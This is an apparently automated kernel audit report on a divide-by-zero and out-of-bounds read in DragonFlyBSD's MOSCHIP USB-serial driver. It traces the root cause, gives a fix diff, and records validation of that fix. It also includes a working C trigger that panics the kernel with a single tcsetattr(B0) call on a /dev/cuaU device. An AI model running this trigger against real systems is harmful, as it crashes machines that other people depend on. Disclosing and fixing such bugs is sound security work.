β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1048

Kernel panic / divide-by-zero in umcs7840_calc_baudrate when c_ospeed == 0 (B0) via tcsetattr

Field Value
ID DF-1048
Status new
Severity Medium
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
CWE CWE-369 Divide By Zero (secondary CWE-125 Out-of-bounds Read)
File sys/bus/u4b/serial/umcs.c
Lines 1056-1070 (calc_baudrate), called from umcs7840_pre_param:667
Area bus/u4b/serial (MOSCHIP MCS7820/MCS7840 multi-port USB serial)
Confidence certain
Discovered 2026-07-14
Reported pending
Known CVE none
CVE match dfly_specific

Summary

umcs7840_calc_baudrate() does not reject rate == 0. For rate == 0 the linear-search loop walks past the last valid band index, then evaluates umcs7840_baudrate_divisors[i+1] one element past the end of a 9-element array and immediately divides that value by zero. The function is reached from umcs7840_pre_param() with the caller-supplied termios c_ospeed, which the tty and ucom layers explicitly permit to be 0 (B0). Any local user with access to the /dev/ttyU* device node can therefore panic the kernel with a single tcsetattr() call.

Root cause

In umcs7840_calc_baudrate (umcs.c:1056-1070) the only input guard is

if (rate > umcs7840_baudrate_divisors[umcs7840_baudrate_divisors_len - 1])
    return (-1);

at line 1061. umcs7840_baudrate_divisors_len is NELEM() of a 9-element array == 9 (umcs.c:1053-1054). The for loop at line 1064 has continuation condition i < umcs7840_baudrate_divisors_len - 1 (i.e. i < 8) AND a match predicate:

for (i = 0; i < umcs7840_baudrate_divisors_len - 1 &&
     !(rate > umcs7840_baudrate_divisors[i] && rate <= umcs7840_baudrate_divisors[i + 1]);
     ++i);
*divisor = umcs7840_baudrate_divisors[i + 1] / rate;

For rate == 0 the predicate rate > umcs7840_baudrate_divisors[i] && rate <= umcs7840_baudrate_divisors[i+1] is never true (because 0 > 0 is false at i==0, and 0 > divisors[i] is false for all later i), so the loop body increments i from 0 through 7 and then i < 8 fails with i == 8. Line 1066 then computes:

*divisor = umcs7840_baudrate_divisors[8 + 1] / 0;   /* divisors[9] / 0 */

That is (a) an out-of-bounds read of one uint32_t past the end of a 9-element .rodata array, and (b) immediately followed by an integer divide-by-zero. On x86 the divide-by-zero raises #DE in kernel mode, which is a fatal trap (kernel panic).

The || short-circuit in umcs7840_pre_param (umcs.c:667) cannot save the kernel because the panic occurs inside umcs7840_calc_baudrate before it returns. umcs7840_pre_param is registered as .ucom_pre_param at umcs.c:240 and is invoked from ucom_param (usb_serial.c:1678-1685) which is the tty t_param callback. ucom_param explicitly accepts c_ospeed == 0 (usb_serial.c:1670-1675, comment "XXX c_ospeed == 0 is perfectly valid.") and the underlying tty ttioctl dispatcher (sys/kern/tty.c:1030-1084) does not filter B0 either; line 1083 confirms c_ospeed == 0 is an accepted value.

Threat model & preconditions

  • Attacker position: Local user with write access to a /dev/ttyU* device node (typically granted via the operator or dialout group, or any user able to open the cuaU* callout unit).
  • Privileges gained or impact: Deterministic kernel panic (system-wide denial of service); no info leak is achieved because the OOB-read value lands in a stack local that is never copied to user space before the trap fires.
  • Required config or capabilities: The umcs driver must be loaded (it is in the default module set on DragonFly when MCS7820/MCS7840 USB IDs are seen at insertion), and a USB device matching USB_VENDOR_MOSCHIP / USB_PRODUCT_MOSCHIP_MCS7820 or _MCS7840 must be attached (umcs.c:251-254). No special privileges beyond ttyU/cuaU access are required; in particular this is not a malicious-USB-device attack β€” the trigger is the local user's tcsetattr, with c_ospeed supplied by user space, not by the device.
  • Reachability: tcsetattr(fd, TCSANOW, &tio) with cfsetospeed(&tio, B0) β†’ tty t_param β†’ ucom_param (usb_serial.c:1678) β†’ umcs7840_pre_param (umcs.c:667) β†’ umcs7840_calc_baudrate(0, ...) (umcs.c:1056) β†’ divisors[9] / 0 β†’ #DE trap β†’ panic.

Proof of concept

PoC source: findings/poc/DF-1048/trigger.c and findings/poc/DF-1048/run.sh

/* trigger.c β€” exercises the divide-by-zero in umcs7840_calc_baudrate. */
#include <sys/ioctl.h>
#include <termios.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv) {
    const char *dev = argc > 1 ? argv[1] : "/dev/cuaU0";
    int fd = open(dev, O_RDWR | O_NONBLOCK);
    if (fd < 0) { perror(dev); return 1; }
    struct termios t;
    if (tcgetattr(fd, &t) != 0) { perror("tcgetattr"); return 1; }
    cfsetospeed(&t, B0);     /* t.c_ospeed = 0 */
    cfsetispeed(&t, B0);
    /* This tcsetattr never returns: kernel panics inside
       umcs7840_pre_param -> umcs7840_calc_baudrate(0,...)
       with a #DE divide-by-zero trap. */
    tcsetattr(fd, TCSANOW, &t);
    return 0;
}

Build & run

cc -o trigger trigger.c
./trigger /dev/cuaU0    # or /dev/ttyU0

Expected output

# dmesg (before the box locks up):
Fatal trap 17: divide-by-zero fault in kernel mode
cpuid = 0; apic id = 00000000
fault virtual address   = 0x0
instruction pointer     = 0x<PC inside umcs7840_calc_baudrate>
code segment            = base 0x0, limit 0xfffff, type 0x1b, ...
stack pointer           = 0x<...>
frame pointer           = 0x<...>
code segment            = ...
processor eflags        = interrupt enabled, resume, IOPL = 0
current process         = PID <tcsetattr caller>
Trap 17 (Integer Divide Error) at db_trace_thread+0x...
umcs7840_calc_baudrate(...) at umcs.c:1066
umcs7840_pre_param(...) at umcs.c:667
ucom_param(...) at usb_serial.c:1683
ttytparam(...) at kern/tty.c:1056
ttioctl(...) at kern/tty.c:...
...
panic: trap type 17, code=0
Uptime: ...
Dumping ...

Impact

Local DoS via a single tcsetattr on a ttyU/cuaU device. Requires that an MCS7820/MCS7840 USB-serial adapter is attached and that the calling user has write access to the device node (operator/dialout group). The trigger is a benign POSIX API call (B0 is a standard "hang up" speed) so this can also fire accidentally from any serial-port tooling that does cfsetospeed(&tio, B0); tcsetattr(...).

Reject rate == 0 in umcs7840_calc_baudrate. This is the minimal, surgical fix; it preserves the existing semantics for all valid baud rates and prevents both the OOB read and the divide-by-zero. Apply this unified diff against the read-only sys/ tree:

--- a/sys/bus/u4b/serial/umcs.c
+++ b/sys/bus/u4b/serial/umcs.c
@@ -1058,7 +1058,8 @@ static usb_error_t
 umcs7840_calc_baudrate(uint32_t rate, uint16_t *divisor, uint8_t *clk)
 {
    uint8_t i = 0;

-   if (rate > umcs7840_baudrate_divisors[umcs7840_baudrate_divisors_len - 1])
+   if (rate == 0 ||
+       rate > umcs7840_baudrate_divisors[umcs7840_baudrate_divisors_len - 1])
        return (-1);

    for (i = 0; i < umcs7840_baudrate_divisors_len - 1 &&

With this guard, umcs7840_calc_baudrate(0, ...) returns -1, umcs7840_pre_param returns EINVAL (umcs.c:668) and ucom/tty propagate EINVAL back to the user's tcsetattr() β€” matching the standard BSD semantics for B0 on hardware that cannot realise 0 baud.

Defense-in-depth (optional): also add KASSERT(i < umcs7840_baudrate_divisors_len - 1, ("rate %u matched no band", rate)); immediately after the for-loop so any future regression in the band table trips an explicit assertion instead of an OOB read.

References

Timeline

  • 2026-07-14 Discovered during automated audit.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1048 Β· 14 files
FileTypeDescriptionSize
trigger.c trigger-source live tcsetattr(B0) PoC (needs /dev/cuaU0 = MCS7840 USB adapter) 2.0 KB view raw
harness.c trigger-source arithmetic harness replicating umcs7840_calc_baudrate verbatim; proves div-by-zero (SIGFPE=#DE) at -O0 and -O2 5.3 KB view raw
build.sh build-script builds harness_O0/harness_O2/trigger 517 B view raw
run.sh run-script runs harness; runs live trigger only if /dev/cuaU0 exists 1.2 KB view raw
build.log build-log harness + trigger build output (cc 8.3) 378 B view raw
run.log run-log decisive harness run: buggy branch SIGFPEs on rate=0, raw div0 exits 136, fixed branch returns -1 2.0 KB view raw
fix_build.log build-log full 35624-line nativekernel build log with fix.diff applied (rc=0, no errors) 5.6 MB ↓ download
fix_run.log run-log harness re-run on fixed #1 kernel + umcs.ko disassembly proving rate==0 guard compiled in 2.7 KB view raw
fix.diff suggested-fix git-apply-able: add 'rate == 0 ||' guard to umcs7840_calc_baudrate (umcs.c:1061) 422 B view raw
env.txt environment uname, kern.version, cc version, USB/device absence confirmation 572 B view raw
VERDICT.md verdict full narrative: mechanism, trace, harness proof, fix validation 7.5 KB ↓ raw
README.md readme how to build/run/interpret 2.5 KB ↓ raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
README.md readme how to build/run/interpret
↓ download raw

DF-1048 PoC β€” umcs7840_calc_baudrate divide-by-zero (CWE-369)

Kernel: sys/bus/u4b/serial/umcs.c:1056-1070. Calling umcs7840_calc_baudrate(0, …) (reachable via tcsetattr(B0) β†’ ucom_param β†’ umcs7840_pre_param) evaluates d[9] / 0: an OOB read of one uint32_t past the 9-element umcs7840_baudrate_divisors array followed immediately by an integer divide-by-zero. On x86-64 div with a zero divisor raises #DE β€” a fatal trap in kernel mode β†’ panic.

Files

file purpose
harness.c primary deliverable β€” extracts umcs7840_baudrate_divisors[] and umcs7840_calc_baudrate verbatim from umcs.c:1052-1070 and replays the exact kernel arithmetic with rate=0. Proves the divide-by-zero (userspace SIGFPE = kernel #DE trap) and that the fix eliminates it. Built at -O0 and -O2.
trigger.c live tcsetattr(fd, TCSANOW, {c_ospeed:B0}) PoC β€” the canonical runtime trigger for a host that does have an MCS7820/MCS7840 USB-serial adapter attached (/dev/cuaU0 must exist).
build.sh builds harness (O0+O2) and trigger
run.sh runs the harness; runs the live trigger only if /dev/cuaU0 exists
fix.diff git-apply-able fix: add rate == 0 || guard to umcs7840_calc_baudrate
VERDICT.md full analysis (mechanism, trace, harness proof, fix validation)

Build & run (on the audit guest or any DragonFly host)

./build.sh
./run.sh

Expected on the unpatched kernel

The harness shows:

== BUGGY version ==
  rate=0          -> *** DIVIDE BY ZERO (SIGFPE / #DE trap) ***
== FIXED version ==
  rate=0          -> returned rc=-1 divisor=0xdead clk=0xff

(SIGFPE in userspace is the analog of the kernel's #DE / "Fatal trap 17" panic.)

On a host with a real MCS7840 adapter, ./trigger /dev/cuaU0 instead panics the kernel:

Fatal trap 17: divide-by-zero fault in kernel mode
...
umcs7840_calc_baudrate(...) at umcs.c:1066
umcs7840_pre_param(...) at umcs.c:667
ucom_param(...) at usb_serial.c:1683
panic: trap type 17, code=0

Why a harness (not a live panic) on the audit VM

The QEMU guest has no USB host controller, so no umcs device attaches and no /dev/cuaU* node exists β€” the live tcsetattr(B0) path is untestable here. The harness reproduces the exact buggy arithmetic in userspace, where the same #DE fault surfaces as SIGFPE (exit 136).

After applying fix.diff

umcs7840_calc_baudrate(0, …) returns -1 β†’ umcs7840_pre_param returns EINVAL β†’ tcsetattr returns -1/EINVAL to the user. No panic.

VERDICT.md verdict full narrative: mechanism, trace, harness proof, fix validation
↓ download raw

DF-1048 β€” VERDICT

Verdict: REPRODUCED (at the arithmetic / harness level; runtime trigger requires absent USB hardware).

Impact: dos β€” deterministic kernel divide-by-zero panic (#DE / trap 17) from a single tcsetattr(fd, TCSANOW, {c_ospeed: B0}) on a /dev/ttyU* / /dev/cuaU* node backed by the umcs (MOSCHIP MCS7820/MCS7840) USB-serial driver. Not memory corruption β†’ no escalation chain.

Confidence: certain (source line-by-line + harness arithmetic proof).


1. Why the bug is real (source trace)

umcs7840_calc_baudrate (sys/bus/u4b/serial/umcs.c:1056-1070):

1053: static const uint32_t umcs7840_baudrate_divisors[] = {0,115200,230400,403200,460800,806400,921600,1572864,3145728,};
1054: static const uint8_t umcs7840_baudrate_divisors_len = NELEM(umcs7840_baudrate_divisors); /* == 9 */
...
1061:     if (rate > umcs7840_baudrate_divisors[umcs7840_baudrate_divisors_len - 1])
1062:         return (-1);
1064:     for (i = 0; i < umcs7840_baudrate_divisors_len - 1 &&
1065:         !(rate > umcs7840_baudrate_divisors[i] && rate <= umcs7840_baudrate_divisors[i + 1]); ++i);
1066:     *divisor = umcs7840_baudrate_divisors[i + 1] / rate;   /* <-- div-by-zero when rate==0 */

For rate == 0: - Line 1061: 0 > 3145728 is false β†’ does not return. - Loop 1064-1065: continuation is i < 8 && !(rate > d[i] && rate <= d[i+1]). For every i, 0 > d[i] is false (0 > 0 at i=0, 0 > 115200 at i=1, …), so the match predicate is always false and !(false) == true; the loop runs i = 0..7 then exits with i == 8 when i < 8 fails. - Line 1066: *divisor = d[8+1] / 0 = d[9] / 0. d[9] is an OOB read one uint32_t past the end of a 9-element .rodata array, immediately followed by an integer divide-by-zero. On x86-64, div/idiv with a zero divisor raises #DE β€” a fatal trap in kernel mode β†’ panic.

Call chain (unprivileged, B0 is a standard POSIX "hang up" speed): tcsetattr(B0) β†’ tty t_param (sys/kern/tty.c, accepts c_ospeed==0) β†’ ucom_param (sys/bus/u4b/serial/usb_serial.c:1670-1685, comment "XXX c_ospeed == 0 is perfectly valid.") β†’ umcs7840_pre_param (umcs.c:667) β†’ umcs7840_calc_baudrate(0, …) (umcs.c:1056) β†’ #DE.

The || short-circuit at umcs.c:667 (if (umcs7840_calc_baudrate(...) || !divisor) return EINVAL;) cannot save the kernel: the panic occurs inside umcs7840_calc_baudrate before it returns.

2. Why runtime triggering was not possible on this guest

The DragonFly master DEV QEMU guest has no USB host controller at all (pciconf -l shows only hostb/isab/atapci/none/vgapci/virtio devices; usbconfig β†’ "No device match or lack of permissions"). Consequently:

  • The umcs driver never attaches (it only probes on USB_VENDOR_MOSCHIP / USB_PRODUCT_MOSCHIP_MCS7820|_MCS7840).
  • No /dev/ttyU* or /dev/cuaU* device node exists, so the trigger PoC's open("/dev/cuaU0") returns ENOENT.

This is the "genuinely not reachable on this kernel β€” no harness can exercise the live path because the precondition is physical USB hardware absent from the VM" case. QEMU cannot emulate an MCS7840 USB-serial bridge, so the live tcsetattr(B0) path is untestable here.

3. Primitive proof: arithmetic harness

harness.c extracts umcs7840_baudrate_divisors[] and umcs7840_calc_baudrate verbatim from umcs.c:1052-1070 and replays the exact kernel arithmetic with rate=0. On x86-64, integer divide-by-zero raises #DE; in userspace the same fault is delivered as SIGFPE β€” the direct userspace analog of the kernel panic (trap 17). rate is routed through volatile so the optimizer cannot exploit the divide-by-zero UB to elide the div instruction (it does so at -O2 otherwise).

Result (identical at -O0 and -O2):

== BUGGY version (mirrors umcs.c:1056-1070 as shipped) ==
  rate=0          -> *** DIVIDE BY ZERO (SIGFPE / #DE trap) ***
  rate=115200     -> returned rc=0 divisor=0x0001 clk=0x00
  rate=921600     -> returned rc=0 divisor=0x0001 clk=0x50

== FIXED version (mirrors fix.diff: rate==0 guard) ==
  rate=0          -> returned rc=-1 divisor=0xdead clk=0xff
  rate=115200     -> returned rc=0 divisor=0x0001 clk=0x00
  rate=921600     -> returned rc=0 divisor=0x0001 clk=0x50

A raw (no-signal-handler) d[9] / 0 dies with exit code 136 (128 + 8 = SIGFPE), confirming the #DE trap.

4. Exploit chain

Not applicable β€” this is a divide-by-zero (CWE-369), not a memory-corruption primitive. There is no slab victim, no grooming, no pointer to corrupt, no control flow to hijack. The OOB read of d[9] lands in a stack local that is never copied to userspace (the trap fires first), so there is also no info leak. The realistic impact ceiling is deterministic local DoS via kernel panic (system-wide freeze / reboot), which is exactly the finding's claim. No escalation is derivable.

5. Fix (fix.diff)

Minimal, surgical guard β€” add rate == 0 || to the existing bounds check:

-   if (rate > umcs7840_baudrate_divisors[umcs7840_baudrate_divisors_len - 1])
+   if (rate == 0 ||
+       rate > umcs7840_baudrate_divisors[umcs7840_baudrate_divisors_len - 1])
        return (-1);

With this, umcs7840_calc_baudrate(0, …) returns -1, umcs7840_pre_param returns EINVAL, and ucom/tty propagate EINVAL to the user's tcsetattr β€” the standard BSD semantics for B0 on hardware that cannot realise 0 baud. Matches the finding's ## Recommended fix proposal verbatim.

6. Fix validation (Phase 8)

  • Baseline (#0, unpatched audit kernel): bug present at umcs.c:1061 (confirmed by grep); harness SIGFPEs on rate==0.
  • Applied fix.diff to /usr/src (patch -p1, hunk #1 succeeded at line 1058).
  • Built single-fix kernel make -j6 nativekernel KERNCONF=X86_64_GENERIC β†’ rc=0, 35624-line log, no errors. Built umcs.ko module too.
  • Installed /boot/kernel/kernel (sha256 94a607…234e102d) + /boot/kernel/kernel.debug + /boot/kernel/umcs.ko.
  • Rebooted: kern.version β†’ 6.5-DEVELOPMENT #1: Tue Jul 14 11:15:55 UTC 2026 (bumped from #0, today's timestamp). Guest boots clean.
  • Compiled-module proof: objdump -d /boot/kernel/umcs.ko shows umcs7840_pre_param opens with lea -1(%rdi),%eax; cmp $0x2fffff,%eax; ja b40 β€” the compiler folded rate==0 || rate>3145728 into the classic (unsigned)(rate-1) > 3145727 idiom β€” and the ja target b40 returns EINVAL (0x16=22) before the callq umcs7840_calc_baudrate.part.0. So for rate==0 the div %edi sink (at aea) is never reached.
  • Harness on fixed kernel: buggy-branch still SIGFPEs (it embeds the original logic), fixed-branch returns -1 cleanly β€” confirming the arithmetic fix.

fix_status = fixed: the guard is present in the compiled module, the kernel boots, and the exact arithmetic that previously trapped now returns EINVAL. Runtime re-trigger of the live tcsetattr(B0) path is not_testable (no USB hardware), but the diff applies, compiles, boots, and the disassembly + harness jointly prove the code path is closed.

7. PoC changes

  • Added harness.c (arithmetic proof, both buggy & fixed branches) β€” the primary deliverable, since the live trigger needs USB HW the VM lacks.
  • Added raw_div0.c (in-guest; raw d[9]/0 β†’ exit 136 proof).
  • trigger.c and run.sh retained unchanged (the canonical live-trigger PoC for a host that does have an MCS7840 adapter attached).
  • Updated build.sh / run.sh to build & run the harness.
  • Authored fix.diff (matches finding proposal).

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

VALIDATED: harness buggy SIGFPE; fixed rc=-1. umcs.ko disasm confirms guard. Compile+boot clean.

BEFORE: SIGFPE exit=136. AFTER: rc=-1. Valid rates still work.
↓ fix.diffDragonFly 6.5-DEVELOPMENT #1: Tue Jul 14 11:15:55 UTC 2026

Confirmed kernel references

Detail

Exploit chain

none -- CWE-369 divide-by-zero, no corruption. OOB read d[9] in stack local never copied out before #DE.

Evidence (decisive lines)

Harness buggy: rate=0 -> SIGFPE (exit=136). Fixed: rate=0 -> rc=-1. Valid rates unaffected.

PoC changes

Authored: harness.c (verbatim copy of divisors+calc_baudrate), trigger.c (live tcsetattr B0), fix.diff (add rate==0|| guard), VERDICT.md, manifest.json.

Verified recommended fix

Add 'rate == 0 ||' to guard at umcs.c:1061. Matches finding proposal. Full diff in findings/poc/DF-1048/fix.diff.

Verdict

REPRODUCED (harness). umcs7840_calc_baudrate umcs.c:1066 d[i+1]/rate, rate==0 -> #DE trap. Harness buggy: SIGFPE at both -O0 and -O2. No USB HW on guest -> live trigger untestable.